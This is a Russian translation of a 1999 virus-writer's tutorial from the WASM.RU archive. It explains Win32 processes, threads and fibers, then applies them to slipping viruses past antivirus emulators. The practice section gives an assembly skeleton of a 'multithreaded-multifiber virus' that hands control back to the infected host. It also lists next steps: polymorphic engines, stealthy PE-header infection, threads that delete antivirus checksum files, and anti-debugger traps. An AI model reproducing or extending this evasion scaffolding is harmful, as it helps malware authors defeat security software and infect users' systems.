Треды и фиберы

Дата публикации 27 авг 2002

Треды и фиберы — Архив WASM.RU

1. Дисклеймер

Данный документ предназначается только для образовательных целей. Автор не несет ответственности в случае неправильного применения данного документа. Переводчик тем более.

2. Предисловие

До того, как я написал данный документ, я создал два вируса, использовавших данные техники. Я думаю, что у меня есть некоторый опыт в данной области, но как бы то ни было, если вы найдете какие-нибудь ошибки или опечатки, сообщите об этом мне. Спасибо!

3. Введение

Когда были выпущены Win32-платформы, все казалось абсолютно другим. VXерам пришлось учить новые техники, новые API, учиться заново как строить защиту против AV-сканеров. AVерам тоже пришлось этому учиться. Им пришлось переделать свои сканеры, эвристики и кодоэмуляторы под 32 бита. Теперь, кажется, нельзя выдумать ничего нового, чтобы обмануть AV-сканер? Действительно ли это так? Ответ: НЕТ! В этой статье я объясню новые техники.

4. Короткий взгляд на процессы, треды и фиберы

4.1 Процессы

Я могу слышать ваши слова: "Гхм.... классно, но.... что ты можешь сказать о процессах, я думаю, что знаю о процессах все, что нужно. Нет, я так не думаю. Если вы не знаете о тредах, вы не знаете о процессах ничего.

Итак, что такое процесс?

Процесс обычно определяется как экземпляр запущенной программы. В Win32 у каждого интерфейса свое 4-х гигабайтное адресное пространство. Различие между Win32-приложениями и 16-битными программами (Win16 и DOS) заключается в том, что это адресное пространство в Win32 принадлежит только процессу (строго говоря, в случае с Win9x это не совсем так - прим. пер.). В этом адресном пространстве хранится код и данные процесса. Все требуемые DLL сохранены в адресном пространстве запущенного процесса. Процессы могут владеть различными ресурсами, например динамически резервируемой памятью, объектами ядра (файлами, семафорами, мутексами, критическими секциями...) или ветвями. Конечно, все ресурсы, занятые процессом будут автоматически освобождены, когда процесс завершит свое выполнение (еще одно различие между Win32 и Win16/DOS).

Процессы инертны. Когда процесс должен начать свое выполнение, на сцене появляются треды. Последние выполняют код процесса. Кроме главного треда, у процесса могут быть и другие, поэтому у треда свой набор значений регистров и стек. У каждого процесса есть по меньшей мере один тред. В противном случае, никаких особенных причин для существования процесса нет, и он будет немедленно завершен операционной системой.

Как работает переключение между тредами?

Операционная система поочередно выделяет процессорное время каждому треду, за счет чего создается иллюзия одновременного выполнения всех тредов.

После создания процесса, Windows автоматически создаст основной тред процесса, чтобы последний мог начать свое выполнение. Основной тред может создавать другие треды и так далее....

Windows NT умеет работать с компьютерами, на которых установлено больше одно процессора, так что треды действительно могут выполняться одновременно. Все управление тредами осуществляется ядром WinNT. Window 95/98 не умеет работать с более чем одним процессором, и хотя вы можете установить Win95/98 на мультипроцессорную систему, но задействован будет только один.

Выполнение процесса можно прервать следующим образом:

Код (Text):
  1.  
  2. 1) С помощью функции ExitProcess
  3.  
  4.     синтаксис: void ExitProcess(UINT fuExitCode);
  5.  
  6.     Завершает выполнение процесса и устанавливает код выхода равным значению
  7.     переменной fuExitCode. Рекомендуется завершать выполнение процесса с
  8.     помощью этой функции.
  9.  
  10.  2) С помощью функции TerminateProcess
  11.  
  12.     синтаксис: BOOL TerminateProcess(HANDLE hProcess, UINT fuExitCode);
  13.  
  14.     Эту функцию можно вызывать из другого процесса. Тем не менее, не
  15.     рекомендуется прерывать выполнения процесса с ее помощью, потому что
  16.     он сам или его DLL могут работать с диском и вы можете потерять
  17.     какие-нибудь данные...!
  18.  
  19.  3) Нет никаких тредов, поэтому процесс немедленно прерывает свое выполнение.

4.2 Треды

Я сказал, что треды выполняют код процесса. Также я сказал, что вы можете создать так много тредов, как захотите.

Почему приложения используют треды?

Представьте, что у вас есть какая-нибудь тупая программа, например Microsoft Word. Если вы хотите что-нибудь напечатать, Word создаст тред, который будет заниматься печатанием данных, в то время как вы сможете продолжать редактирование документа.

У каждой функции треда должен быть следующий прототип:

Код (Text):
  1.  
  2.  DWORD WINAPI ThreadFunc(LPVOID lpvTParam);

Когда вы вызовите функцию создания треда, операционная система вызовет эту функцию:

Код (Text):
  1.  
  2.  void WINAPI StartOfThread(LP_THREAD_START_ROUTINE lpStartAddr,
  3.                            LPVOID lpvTParam) {
  4.         __try {
  5.                 ExitThread(lpStartAddr(lpvTParam));
  6.         }
  7.         __except(UnhandledExceptionFilter(GetExceptionInformation)))
  8.                 ExitProcess(GetExceptionCode());
  9.         }
  10.  }

Настоящее имя этой функции не известно, поэтому я называю ее StartOfThread. Как вы можете видеть, эта функция создает кадр SEH для треда. Если произойдет какая-либо ошибка, которую вы не станете обрабатывать, выполнение треда будет немедленно прервано (но процесс продолжит работу).

Прежде, чем я расскажу, как создавать свои собственные треды, я объясню несколько вещей, которые вы должны знать.

1) Стек тредов

У каждого из тредов есть свой собственный стрек в адресном пространстве процесса. Поэтому если вы используете глобальные переменные, каждый тред может получить к ней доступ. Рекомендуется, чтобы вы использовали локальные переменные. у вас будет меньше проблем при синхронизации ветвей. Стандартный размер стека равен 1MB.

2) Структура контекста

У каждого треда есть свой набор значений регистров, который называется контекстом треда. Структура контекста содержит значения регистров, которые были в последний раз выполнения треда. Структура контекста единственная, состав которой зависит от процессора.

Код (Text):
  1.  
  2.  CreateThread API:
  3.  
  4.  синтаксис: HANDLE CreateThread(LPSECURITY_ATTRIBUTES lpsa, DWORD cbStack,
  5.                                 LPTHREAD_START_ROUTINE lpStartAddr,
  6.                                 LPVOID lpvTParam, DWORD fdwCreate,
  7.                                 LPDWORD lpThreadID);
  8.  
  9. Параметры:
  10. a) lpsa:        Указатель на структуру SECURITY_ATTRIBUTES.
  11.                 Если вы хотите использовать аттрибуты безопасности по
  12.                 умолчанию, убедитесь, что это поле имеет значение NULL.
  13. b) cbStack:     Содержит количество байт адресного пространства, которое
  14.                 вы хотите использовать для стека. Используйте NULL для
  15.                 значения по умолчанию = 1MB.
  16. c) lpStartAddr: Содержит адрес вашей функции в памяти.
  17. d) lpvTParam:   Содержит 32х битный параметр.
  18. e) fdwCreate:   Должен быть равен NULL или CREATE_SUSPENDED. Если fdwCreate
  19.                 равно CREATE_SUSPENDED, она создаст тред, настроит контекст,
  20.                 подготовит тред к работе и задрежит его выполнение, чтобы он
  21.                 не запустился. Вы можете продолжить его выполнение с помощью
  22.                 функции ResumeThread.
  23. f) lpThreadID:  Последний параметр должен быть действительным указателем на
  24.                 переменную типа DWORD. CreateThread сохранит в нее ID нового
  25.                 треда.

Тред можно прервать с помощью:

Код (Text):
  1.  
  2. 1) функции ExitThread
  3.  
  4.    синтаксис: void ExitThread(UINT fuExitCode);
  5.    Прерывает выполнение треда и устанавливает код выхода равным значению
  6.    переменной fuExitCode. Рекомендуется завершать выполнение треда с помощью
  7.    именно этой функции.
  8.  
  9. 2) функции TerminateThread
  10.  
  11.    синтаксис: BOOL TerminateThread(HANDLE hThread, UINT fuExitCode);
  12.  
  13.    Эту функцию можно вызвать из другого треда. Тем не менее, не рекомендуется
  14.    завершать тред с помощью этой функции. Если вы сделаете это, операционная
  15.    система не освободит его стек! Поэтому будет гораздо лучше, если тред сам
  16.    завершит свое выполнение.

Как останавливать и продолжать выполнение тредов?

Для этого существует две функции: SuspendThread и ResumeThread.

Код (Text):
  1.  
  2. синтаксис: DWORD SuspendThread(HANDLE hThread);
  3.            DWORD ResumeThread(HANDLE hThread);

Первая функция увеличивает счетчик задержки, вторая уменьшает его. Тред будет выполняться только если счетчик задержки будет равен NULL.

Обратите внимание. Будьте уверены, что закрываете хэндл треда с помощью функции CloseHandle.

4.3 Фиберы

Продолжим?

Третий сервис-пак для Microsoft Windows NT 3.51 принесла в операционную систему новые сервисы под названием фиберы. Они были добавлены в Win32, чтобы облегчить портирование приложений из UNIX в WinNT. Были написаны эти однотредные серверные юниксовые приложения, которые могли иметь "доступ ко многим клиентам за раз". Авторы этих приложений создали свои собственные библиотеки для эмуляции мультипоточности, которые могли создавать несколько стеков, сохранять регистры и позволяли переключаться между клиентским задачами.

Но портирование UNIX-приложений под Win32 было настолько трудным (угадайте почему), что Microsoft решила создать несколько API-функций, чтобы облегчить этот процесс. Они не знали, что виркодерам эти функции понравятся больше, чем UNIXоидам ;-))).

Какое же главное различие между тредами и фиберами?

Треды реализуются с помощью ядра Windows. Ядро знает о всех секретах тредов и управляет ими согласно заданным Microsoft'ом алгоритмами. Вы можете изменить их приоритеты, вы можете приостановить или продолжить их выполнение, но тем не менее на 50% все зависит от OS: какой тред будет сейчас выполняться, какой нет и как они это будут делать.

Фиберы определяются кодом пользователя. Ядро ничего не знает о фиберах, и их выполнение задается вашими алгоритмами. Так как они определяются вами, с точки зрения ядра это не является вытесняющей многозадачностью.

Вы также должны знать, что тред может содержать один или более фиберов. С точки зрения ядра многозадачность применима только к тредам. Но тред может выполнять только один фибер за раз - какой именно, зависит от вас.

Обратите внимание: к сожалению, фиберы не реализованы в Win95. Поэтому если вы собираетесь писать мультифиберный вирус, он будет работать только под Win98+/NT.

Первое, что вы должны сделать (если вы хотите работать с фиберами) - это сконвертировать тред в фибер. Для этого есть специальная функция...

Код (Text):
  1.  
  2.  синтаксис: LPVOID ConvertThreadToFiber(LPVOID lpParameter);

Эта функция займет память для структуры контекста фибера (около 200 байт). В контесте фибера хранится следующая информация:

  1. Задаваемое пользователем 32-х битное значение - lpParameter
  2. Информация, необходимая для SEH (Structured Exception Handling)
  3. Адрес стека фибера
  4. Регистры CPU (EIP, ...)

Обратите внимание: структура контекста треда и структура контекста фибера - это разные вещи, помните об этом...!

После инициализации контекста внутри треда создается новый фибер. Возвращаемое значение этой функци является адресом на контекст фибера. Позже нам понадобится это значение.

Новый фибер можно создать с помощью следующей функции:

Код (Text):
  1.  
  2.  синтаксис: LPVOID CreateFiber(DWORD dwStackSize,
  3.                                LPFIBER_START_ROUTINE lpStartAddress,
  4.                                LPVOID lpParameter);

Сначала эта функция попытается создать новый стек размером dwStackSize байт (если данное значение будет равно NULL, то размер стека будет стандартным - 1MB). Затем она создает новый контекст фибера (куда будет сохранено заданное пользователем значение lpParameter). В lpStartAddress содержится адрес функции нового фибера со следующим прототипом:

Код (Text):
  1.  
  2.  void WINAPI FiberFunc(PVOID lpParameter);

После первого запуска фибер получит значение lpParameter - тот же, что и в CreateFiber. Вы можете делать все, что захотите в этой функции, но смотрите - у этой функции нет никаких возвращаемых параметров. Причина состоит в том, что эта функция не должна возвращаться. Если она сделает это, фибер и все фиберы, созданные в нем будут уничтожены...!

Как и функция ConverThreadToFiber, функция CreateFiber возвращает адрес контекста фибера. CreateFiber не запускает фибер немедленно, потому что текущий фибер все еще запущен (в отличии от ConvertThreadToFiber). Переключение между фиберами реализуется с помощью следующего API:

Код (Text):
  1.  
  2.  синтаксис: void SwitchToFiber(LPVOID lpFiber);

У этой функции только один параметр - lpFiber - это адрес контекста фибера, которые вы ранее получили с помощью ConverThreadToFiber или CreateThread.

Функция SwitchToFiber - это единственная способ переключения между фиберами. Так как вам нужно вызывать эту функцию каждый раз, когда вы хотите передать управление другому фиберу, вы полностью контролируете ваш код. Помните, управление тредами очень сильно отличается от управления фиберами, так как треды находятся под управлением ядра. Когда ваш тред получает процессорное время, только один фибер может выполняться в треде за раз. Но, как я сказал ранее, какой фибер будет выполняться, а какой нет зависит только от вас.

Когда вы хотите удалить какой-нибудь фибер, используйте функцию DeleteFiber:

Код (Text):
  1.  
  2.  синтаксис: void DeleteFiber(LPVOID lpFiber);

lpFiber - это адрес контекста фибера, который вы хотите удалить. Также будет удален стек фибера. Предупреждение: если lpFiber содержит адрес контекста текущего фибера, DeleteFiber вызовет ExitThread и текущий тред и созданные в нем фиберы будут уничтожены...!

Эта функция обычно вызывает в одном фибере, чтобы удалить другой. Снова обратите внимания на различия между тредами и фиберами: треды обычно прерывают свое выполнение с помощью вызова функции ExitThread. Если вы используете функцию TerminateThread, система не удалит его стек. Тем не менее техника удаления одного фибера другим применяется очень часто.

5. Практика

Вы еще помните, о чем я только что рассказал? Я надеюсь, что да, так как сейчас мы перейдем к практике. Это будет гораздо веселее, вот увидите...

Сейчас вы, наверное, думаете: "hmmmm, интересно, но... как я могу использовать это в вирусах?" Не беспокойтесь, просто читайте...

Как вы можете использовать фиберы? У вас, вероятно, есть какая-нибудь кульная AV-программа, которая может обнаруживать все ваши вирусы эвристическим путем. Я думаю, что вы уже сталкивались с этим. Как работает анализатор кода? Он не напрямую запускает все инструкции, но с помощью некоего эмулятора он может эмулировать все опкоды. Анализатор сравнивает регистры и другие флаги, а затем смотрит, что делает программа... Сейчас век полиморфных движков, поэтому эвристический анализ наиболее перспективен. Поэтому вопрос "Как я могу натянуть аверов" по смыслу примерно равен "как я могу натянуть эвристический анализатор и кодоэмулятор".

Есть несколько путей обойти эмулятор, например трюки с PIQ, инструкции защищенного режима и fpu, техники туннелинга и так далее. Некоторые из этих техник не будут работать под Win32 или, по крайней мере, не будут иметь эффекта, который нам нужен. Поэтому здесь на сцене появляется новая техника обдуривания AV, специльно спроектированная для Win32-платформ ==> треды и фиберы.

Как она работает?

Просто... Представьте, как работает эмулятор процессора. У вас есть одна зараженная программа. Что "видит" эмулятор?

"Хмм, в этой программе есть несколько циклов, затем она сохраняет несколько адресов (вероятно функций API), вызывает одну из них и затем я вижу бесконечный цикл. Хм, эта программа не выглядит зараженной!"

Если эмулятор действительно эмулятор, он не может вызывать опкоды напрямую. Он должен эмулировать их. Хехе, к сожалению, он не может создавать треды или фиберы динамически - он не может симулировать виртуальную машину. Вы понимаете, что я хочу сказать? Ваш вирус просто создает тред/фибер и все его действия будут выполняться внутри него. Еще более лучший путь: для каждого действия ваш вирус создаст отдельный тред/фибер, поэтому у вас может быть около десяти тредов/фиберов. Самый лучший путь: комбинация тредов и фиберов.

Вы действительно думаете, что эмулятор сможет это проэмулировать?

Антивирусная программа сможет обнаружить ваш вирус только следующим образом:

  1. проверив PE на подозрительные флаги
  2. с помощью чексуммы
  3. пошагово отладив полиморфный движок или что-то еще, начиная с первого вызова функции создания треда/фибера.
  4. полностью переписав эмулятор (это нелегко!), чтобы он мог трейсить вызовы функций API/тредов/фиберов.

Комбинация метаморфного движка, резидентности, сжатия, распространения (в том числе и по почте, тредов и фиберов можно будет назвать "совершенным" вирусов ;)))) Это уже не так далеко...

Теперь вы знаете все, что вам нужно, чтобы написать что-то крутое. Давайте сделаем это...

Код (Text):
  1.  
  2. ;Во-первых, нам нужно получить дельта-смещение, которое мы поместим в EBP...
  3.  
  4. ;<=== START_OF_PRIMARY_THREAD ===>
  5.         pushad
  6.         call gdelta
  7. gdelta: pop ebp
  8.         sub ebp, offset gdelta
  9.  
  10. ;Теперь дельта-смещение находится в регистре EBP.
  11. ;Предположим, что мы уже сохранили все необходимые адреса функций API,
  12. ;теперь нам нужно создать тред, из которого мы будем вызывать остальной
  13. ;наш код...
  14.  
  15.         cdq                                    ;edx=0
  16.         lea eax, [ebp + dwThreadID]
  17.         push eax                               ;lpThreadID
  18.         push edx                               ;fdwCreate
  19.         push ebp                               ;lpvTParam как дельта-смещение
  20.         lea eax, [ebp + MainThread]
  21.         push eax                               ;lpStartAddr
  22.         push edx                               ;cbStack
  23.         push edx                               ;lpsa
  24.         call [ebp + ddCreateThread]            ;создаем новый тред
  25.         xchg eax, ecx
  26.         jecxz error                            ;ошибка ?
  27.  
  28. ;Новый тред сейчас выполняется в функции MainThread. Нам нужно задержать
  29. ;выполнение главного треда, пока не выполнится наш. Мы сделаем это, вызвав
  30. ;функцию WaitForSingleObject. Основной тред приостановит свое выполнение, пока
  31. ;не будет завершен наш.
  32.  
  33.         push -1                           ;как много мс мы будем ждать: ВЕЧНО
  34.         push ecx                          ;хэндл треда: hThread.
  35.         call [ebp + ddWaitForSingleObject] ;ожидаем сигнала от треда.
  36.  
  37. ;Мы попадем сюда только после завершения треда. Тем не менее, здесь
  38. ;заканчивается функция главного треда. В конце мы передаем управление
  39. ;носителю.
  40.  
  41. error:    popad                           ;какая-то ошибка, восст. стек
  42.           ...                             ;подготовка к переходу к носителю
  43.           jmp to_host / ret               ;передаем управление носителю
  44. ;<=== END_OF_PRIMARY_THREAD ===>
  45.  
  46.  
  47. ;<=== START_OF_SECONDARY_THREAD ===>
  48.      MainThread Proc Pascal delta_param:DWORD       ;наша функция треда
  49.                                                     ;с одним параметром
  50.         pushad                                      ;push'им все регистры
  51.         mov ebx, delta_param                        ;ebx = дельта-смещение
  52.  
  53. ;Мы сохраняем параметры (значение дельта-смещения) в регистре EBX. EBX очень
  54. ;полезен, так как ни одна из известных функций API не использует его (скорее,
  55. ;они просто сохраняют его значение - прим. пер.).
  56.  
  57. ;Теперь мы можем сконвертировать наш тред в фибер, чтобы создать в нем другие
  58. ;фиберы. Нам также понадобиться сохранить его контекст.
  59.  
  60.         push 0                                      ;lpParameter
  61.         call [ebx + ddConvertThreadToFiber]         ;конвертируем наш тред
  62.         xchg eax, ecx                               ;в фибер
  63.         jecxz end_mainthread                        ;ошибка ?
  64.         mov [ebx + lpMainFiber], ecx                ;сохраняем контекст
  65.                                                     ;фибера
  66.  
  67. ;Теперь мы можем создать новый фибер, чтобы натянуть анализатор/эмулятор
  68. ;кода.
  69.  
  70.         push ebx                                    ;lpParameter
  71.         lea eax, [ebx + MainFiber]
  72.         push eax                                    ;lpStartAddr
  73.         push 0                                      ;cbStack
  74.         call [ebx + ddCreateFiber]                  ;создаем новый фибер
  75.         xchg eax, ecx
  76.         jecxz end_mainthread                        ;ошибка ?
  77.         mov [ebx + lpNextFiber], ecx                ;cохраняем контекст
  78.                                                     ;фибера
  79.  
  80. ;Переключаясь на другой фибер мы определенно сможем обдурить анализатор
  81. ;или эмулятор кода.
  82.  
  83.         push ecx                                    ;контекст фибера
  84.         call [ebx + ddSwitchToFiber]                ;переключаемся на новый
  85.                                                     ;фибер
  86.  
  87. ;В случае ошибка или в конце выполнения MainFiber вирус продолжит свое
  88. ;выполнение здесь.
  89.  
  90. end_mainthread:
  91.          popad                                      ;восстанавливаем стек
  92.          ret                                        ;и выходим из треда
  93.      MainThread EndP
  94. ;<=== END_OF_SECONDARY_THREAD ===>
  95.  
  96.  
  97. ;<=== START_OF_FIBER ===>
  98.      MainFiber Proc Pascal delta_param:DWORD       ;наша процедура фибера
  99.         pushad                                     ;push'им все регистры
  100.         mov ebx, delta_param                       ;ebx = дельта-смещение
  101.  
  102. ;Здесь вы можете создать дополнительные треды или фиберы. Вот код...
  103.  
  104.         push [ebx + lpMainFiber]                   ;переключаемся на
  105.         call [ebx + ddSwitchToFiber]               ;предыдущий фибер
  106.  
  107.         popad                                      ;восстанавливаем стек
  108.         ret                                        ;и удаляем фибер
  109.      MainFiber EndP
  110. ;<=== END_OF_FIBER ===>

Теперь у вас есть хороший каркас мультитредно-мультифиберного вируса. Вероятно, вы хотите спросить меня, является ли теперь ваш вирус "неопределяемым" простыми методами. Ответ - НЕТ. Что вам еще нужно написать?

  • Какой-нибудь хороший полиморфный/метаморфный движок, который сможет делать следующее:
    • генерировать разные инструкции, делающие одно и то же
    • менять инструкции местами
    • генерировать мусорные инструкции
    • генерировать декрипторы различного размера
    • создавать вызовы/переходы к подставным процедурам
    • все должно основываться на случайных числах
  • Процедуру заражения заголовка PE, которая не насторожит AV-программы, то есть:
    • не создавать новых секций, только добавлять вирус в конец одной из них или найти другой путь решить эту проблему.
    • не модифицировать точку входа, а пропатчить носитель, чтобы он делал переход на код вируса.
    • изменять заголовок PE наименьшим образом

3) Треды/фиберы, уничтожающие файлы с чексуммами AV-программ

4) Ловушки для отладчиков

Обратите внимание: это всего лишь один из многих путей как использовать треды и фиберы. Можно пойти другим путем и использовать только треды вместо фиберов. Но если вы реализуете код с 15 тредами в своем вирусе, у вас будет много проблем с синхронизацией. Вы знаете, что все треды в Windoze выполняются параллельно "в одно и то же время", поэтому вам придется синхронизировать их. Есть много разных способов, как это сделать. Но это другая история. Я не хочу, чтобы это был туториал по синхронизации... Возьмите Win32 SDK, почитайте какие-нибудь хорошие книги...

6. Заключение

Я надеюсь, что теперь вы знаете, что такое процессы, треды и фиберы и можете их использовать в своих вирусах (или в других, более мирных программах - прим. пер.). Треды и фиберы не сделают за вас всю вашу работу, ва придется написать еще много кода, чтобы ваш вирус был действительно крутым. Но это может помочь вам сделать ваш вирус более защищенным от антивирусных программ и узнать получше операционную систему.

Несколько благодарностей: Darkman/29A, Super/29A, Jacky Qwerty/29A, VirusBust/29A, MrSandman, Billy_Bel/DDT, LethalMnd, другим 29Aшникам, другим DDTшникам, другим вирмейкерам...

Benny/29A (с) 1999 © Benny/29A, пер. Aquila


0 1.244
archive

archive
New Member

Регистрация:
27 фев 2017
Публикаций:
532